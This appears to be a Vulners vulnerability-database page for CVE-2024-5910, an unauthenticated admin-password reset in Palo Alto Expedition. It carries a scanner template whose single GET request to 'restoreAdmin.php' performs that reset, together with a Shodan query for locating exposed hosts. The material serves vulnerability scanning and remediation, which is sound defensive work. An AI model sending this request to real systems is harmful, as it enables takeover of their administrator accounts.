Vulners
Lucene search
Palo Alto Expedition - Admin Account Takeover
| Reporter | Title | Published | Views | Family All 31 |
|---|---|---|---|---|
 | Palo Alto Expedition 1.2.91 Remote Code Execution Exploit | 14 Nov 202400:00 | – | zdt |
 | CVE-2024-5910 | 10 Jul 202400:00 | – | attackerkb |
 | The vulnerability of the Palo Alto Networks Expedition configuration migration tool, related to the lack of authentication for a critical function, allows a perpetrator to obtain administrator credentials. | 21 Aug 202400:00 | – | bdu_fstec |
 | CVE-2024-5910 | 10 Jul 202421:49 | – | circl |
 | Palo Alto Networks Expedition Missing Authentication Vulnerability | 7 Nov 202400:00 | – | cisa_kev |
 | CISA Adds Four Known Exploited Vulnerabilities to Catalog | 7 Nov 202412:00 | – | cisa |
 | Palo Alto Networks Expedition Security Breach | 10 Jul 202400:00 | – | cnnvd |
 | CVE-2024-5910 | 10 Jul 202418:39 | – | cve |
 | CVE-2024-5910 Expedition: Missing Authentication Leads to Admin Account Takeover | 10 Jul 202418:39 | – | cvelist |
 | Exploit for OS Command Injection in Paloaltonetworks Expedition | 9 Oct 202416:36 | – | githubexploit |
10
id: CVE-2024-5910
info:
name: Palo Alto Expedition - Admin Account Takeover
author: johnk3r
severity: critical
description: |
Missing authentication for a critical function in Palo Alto Networks Expedition can lead to an Expedition admin account takeover for attackers with network access to Expedition.
impact: |
Attackers with network access can exploit missing authentication to takeover Expedition admin accounts without credentials.
remediation: |
Update Palo Alto Networks Expedition to the latest version that patches CVE-2024-5910 as specified in the Palo Alto security advisory.
reference:
- https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise
- https://security.paloaltonetworks.com/CVE-2024-5910
- https://nvd.nist.gov/vuln/detail/CVE-2024-5910
classification:
cve-id: CVE-2024-5910
cvss-score: 9.3
cwe-id: CWE-306
epss-score: 0.91783
epss-percentile: 0.99804
metadata:
verified: true
max-request: 1
vendor: paloaltonetworks
product: expedition
shodan-query: http.favicon.hash:1499876150
tags: cve,cve2024,palo-alto,auth-bypass,kev,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/OS/startup/restore/restoreAdmin.php"
matchers-condition: and
matchers:
- type: word
words:
- "Admin user found"
- "Admin password restored"
condition: and
- type: status
status:
- 200
# digest: 490a0046304402205c0b802e013a048ea92dbad3e2b601f72821a61046c7dc86c20de28c6096a5e502203f0ff5228c8fb3dec762c4f302672a71902fda118437273f4d1b26d48b873992:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Feb 2026 07:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.19.8
CVSS 49.3
EPSS0.91783
SSVC